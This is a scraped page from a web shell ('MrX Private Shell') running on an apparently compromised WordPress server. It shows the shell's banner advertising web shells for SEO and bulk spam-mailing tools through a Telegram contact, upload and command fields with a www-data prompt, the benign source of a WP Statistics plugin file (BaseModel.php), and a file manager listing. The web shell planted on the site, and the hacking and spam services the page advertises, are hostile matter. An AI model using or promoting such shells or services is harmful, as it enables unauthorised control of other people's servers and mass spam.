__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace WP_Statistics\Abstracts;

use WP_Statistics\Utils\Query;
use WP_Statistics\Components\DateRange;
use WP_Statistics\Models\HistoricalModel;
use WP_STATISTICS\Option;

abstract class BaseModel
{
    /**
     * Instance of HistoricalModel for historical page view data
     *
     * @var HistoricalModel
     */
    protected $historicalModel;

    /**
     * Initialize the BaseModel class.
     *
     * Creates a new instance of HistoricalModel if one hasn't been set yet.
     * This ensures we have access to historical data throughout the model.
     */
    public function __construct()
    {
        if (empty($this->historicalModel)) {
            $this->historicalModel = new HistoricalModel();
        }
    }

    /**
     * @param $args
     * @param $defaults
     * @return mixed|null
     */
    protected function parseArgs($args, $defaults = [])
    {
        $args = wp_parse_args($args, $defaults);
        $args = $this->parseQueryParamArg($args);
        $args = $this->parseResourceTypeArg($args);
        $args = $this->parseDateArg($args);
        $args = $this->parseUtmParams($args);
        $args = $this->parsePerPage($args);

        return apply_filters('wp_statistics_data_{child-method-name}_args', $args);
    }

    /**
     * Escape any underscores in UTM params with a backslash
     * This is necessary because WordPress's LIKE operator uses underscores as a wildcard
     * @param array $args
     * @return array
     */
    private function parseUtmParams($args)
    {
        if (!empty($args['utm_source'])) {
            $args['utm_source'] = str_replace('_', '\_', $args['utm_source']);
        }

        if (!empty($args['utm_medium'])) {
            $args['utm_medium'] = str_replace('_', '\_', $args['utm_medium']);
        }

        if (!empty($args['utm_campaign'])) {
            $args['utm_campaign'] = str_replace('_', '\_', $args['utm_campaign']);
        }

        return $args;
    }

    /**
     * Parse resource type argument to make sure it contains valid post types and properly formatted
     *
     * @param array $args
     *
     * @return array
     */
    private function parseResourceTypeArg($args)
    {
        if (!empty($args['resource_type'])) {
            // Make sure resource_type is an array
            if (is_string($args['resource_type'])) {
                $args['resource_type'] = [$args['resource_type']];
            }

            foreach ($args['resource_type'] as $key => $value) {
                // If it's a taxonomy.
                if (taxonomy_exists($value)) {
                    if (!in_array($value, ['category', 'post_tag'])) {
                        $args['resource_type'][$key] = "tax_{$value}";
                    }
                }

                // If it's a post type.
                if (post_type_exists($value)) {
                    // If it's a custom post type, add 'post_type' prefix
                    if (!in_array($value, ['post', 'page', 'product', 'attachment'])) {
                        $args['resource_type'][$key] = "post_type_$value";
                    }

                    // If the array contains page post type, add home as well
                    if (!in_array('home', $args['resource_type']) && $value === 'page') {
                        $args['resource_type'][] = 'home';
                    }
                }
            }
        }

        return $args;
    }

    /**
     * Parses the query_param argument.
     *
     * @return array The parsed arguments.
     */
    private function parseQueryParamArg($args)
    {
        if (!empty($args['query_param'])) {

            if (is_numeric($args['query_param'])) {
                $uri = Query::select('uri')
                    ->from('pages')
                    ->where('page_id', '=', $args['query_param'])
                    ->getVar();
            } else if (is_string($args['query_param'])) {
                $uri = $args['query_param'];
            }

            $args['query_param'] = !empty($uri) ? $uri : '';
        }

        return $args;
    }

    private function parseDateArg($args)
    {
        if (empty($args['date']) && empty($args['ignore_date'])) {
            $args['date'] = DateRange::get();
        }

        return $args;
    }

    private function parsePerPage($args)
    {
        // On export, ignore default per_page and get data based on the advanced reporting option
        if (!empty($args['export'])) {
            $args['page']     = 1;
            $args['per_page'] = Option::getByAddon('table_csv_export_row_limit', 'advanced_reporting', 100);
        }

        return $args;
    }
}

Filemanager

Name Type Size Permission Actions
BaseBackgroundProcess.php File 8.05 KB 0644
BaseMetabox.php File 6.38 KB 0644
BaseMigrationManager.php File 1.15 KB 0644
BaseMigrationOperation.php File 3.4 KB 0644
BaseModel.php File 4.54 KB 0644
BasePage.php File 2.01 KB 0644
BaseRestAPI.php File 2.95 KB 0644
BaseTabView.php File 1.9 KB 0644
BaseView.php File 458 B 0644
MultiViewPage.php File 2.63 KB 0644
UnlockedTabView.php File 936 B 0644
Filemanager